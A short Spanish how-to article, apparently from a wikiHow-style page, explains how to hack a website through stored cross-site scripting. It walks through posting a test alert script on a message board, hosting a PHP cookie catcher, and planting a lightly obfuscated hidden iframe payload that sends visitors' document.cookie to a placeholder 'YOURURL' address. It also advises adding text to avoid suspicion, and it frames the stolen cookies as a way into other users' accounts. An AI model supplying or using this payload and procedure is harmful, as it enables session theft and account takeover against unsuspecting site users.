¿Cómo hackear Un sitio web?
Con Cross Site Scripting
Busca un sitio vulnerable donde puedas publicar contenido. Crea una publicación. Crea y sube tu capturador de cookies. Haz una publicación con tu capturador de cookies. Utiliza las cookies que recolectaste.
Un tablón de anuncios es un buen ejemplo. Recuerda, si el sitio es seguro, esto no funcionará. Necesitarás introducir un código especial en la "publicación" que capturará los datos de todos los que hagan clic en ella. Intenta averiguar si los filtros del sistema filtran el código externo. Publica <script...>alert("test")</...script> (eliminando los "…"). Si un cuadro de alerta aparece cuando haces clic en la publicación, entonces el sitio es vulnerable a ataques. El objetivo de este ataque es capturar las cookies de los usuarios, que te permitirán acceder a sus cuentas en sitios webs que tengan inicios de sesión vulnerables. Necesitarás un capturador de cookies que capturará las cookies de tu objetivo y las redirigirá. Sube el capturador a un sitio web al cual tengas acceso y que soporte php. Más adelante te daremos un ejemplo de código de capturador de cookies. Ingresa un código apropiado en la publicación para capturar las cookies y enviarlas a tu sitio. Te recomendamos poner algún texto luego del código para reducir las sospechas y evitar que tu publicación sea eliminada. Un código de ejemplo sería: <...iframe... frameborder= 0 height=0 width=0 src=javascript...:void(document.location="YOURURL/cookiecatcher.php?c="+document.cookie)><.../iframe> (eliminando los "…"). Luego, podrás utilizar la información de las cookies, que ya estarán guardadas en tu sitio web con el propósito que necesites.
Using Cross-Site Scripting